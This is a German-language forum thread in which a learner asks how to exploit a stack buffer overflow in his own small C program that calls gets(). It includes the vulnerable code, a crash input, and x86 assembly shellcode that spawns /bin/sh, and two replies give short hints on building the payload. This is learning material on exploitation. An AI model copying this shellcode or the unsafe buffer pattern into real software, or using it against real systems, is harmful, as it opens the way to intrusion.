Exploit schreiben für selbstgeschriebenes Programm

Hey ihr,

ich bin noch nicht wirklich gut bewandert was Exploit-Schreiben angeht, aber falls es hier den ein oder anderen gibt, der etwas mehr Ahnung hat, dem wäre ich verbunden, wenn er mir ein bisschen Hilfestellung geben kann. Mein Ziel ist, alle Schritte mal durchzugehen um zu wissen, wie so etwas überhaupt funktioniert.

Arbeiten tue ich auf Kubuntu zusammen mit dem GNU Compiler / Assembler / Debugger.

Folgendes: Ich habe hier ein C++-Programm, von dem ich weiß, dass es eine Sicherheitslücke hat:

Code:
#include <stdio.h>

int main()
{
  char string[20];
  printf("Insert your fill address: ");
  gets(string);
  printf("Your address is: %s\n", string);
  return 0;
}
Nun will ich versuchen, für dieses Programm ein Exploit zu schreiben. Also ich weiß, dass meine Eingabe größer sein muss als 20 Bytes, um über den Stack hinaus zu schreiben und die Rücksprungaddresse zu überschreiben. Als Eingabe habe ich

Code:
012345678901234567890abcdefghijklmnopqrstuvwxyz
eingegeben. Das ganze hat zu einem Segmentation fault geführt mit der Rücksprungaddresse: 0x6c6b6a69 (das entspricht den Buchstaben l k j i).

Fragen:
1) Nun weiß ich ja, dass mein Exploit höchstens 28 Byte sein darf, oder liege ich hier falsch?
2) Wie schaffe ich es nun meine Eingabe so zu gestalten, dass sich daraus ein Exploit entwickelt? Weil ich kann ja in der Konsole nur Ascii-Zeichen eingeben, oder?

3) Ich habe zwar angefangen, ein kleines Assemblerprogramm zu schreiben, dass mir eine neue Shell aufruft:

Code:
.section .data
.section .text

.globl _start

_start:
  # 0x00000000 auf den Stack platzieren
  xor %eax, %eax
  push %eax

  # //bin/sh auf den Stack platzieren
  # aber in umgekehrter Reihenfolge
  push $0x68732f6e
  push $0x69622f2f

  mov %esp, %ebx

  push %eax
  mov %esp, %edx

  push %ebx
  mov %esp, %ecx

  mov $0xb, %al
  int $0x80
Das zu kompilieren und mit objdump wieder auszugeben hilft, mir einen sogenannten Shellcode zu konstruieren. Aber was hat der sogenannte Shellcode auf sich? Und wie verwende ich ihn für einen Exploit?

Edit: Ich hatte vergessen, zu erwähnen, dass der Assemblercode nichts anderes macht, als /bin/sh zu starten (Stichwort: execve und Syscalls).
 
Zuletzt bearbeitet:
Du gibst dort zwar Ascii-Code ein,aber die Kodierung der Zeichen kann ja anders ausgewertet werden.
Du musst also erstmal rausfinden wohin du springen willst, und dann die adresse mit Buchstaben entsprechend kondieren.

Du kannst auch längere Zeichen eingeben.
Der Stack wächst ja nach unten und der Heap nach oben.

Du kannst innerhalb des Strings auch eine Payload-kodieren in welche du dann reinspringst.

Ist aber schon sehr lange her das ich Assembler und dergleichen gemacht habe.
Gruß

Fluffy
 
1. Der Angriff nennt sich return-to-libc.
2. Nein, du kannst beliebige Zeichen, auch in hexadezimaler Schreibweise, eingeben. Üblicherweise bedient man sich zur Konstruktion der Payloads Skriptsprachen, z.B. Perl. Beispiele findest du im oben genannten Paper.
 
Zurück
Oben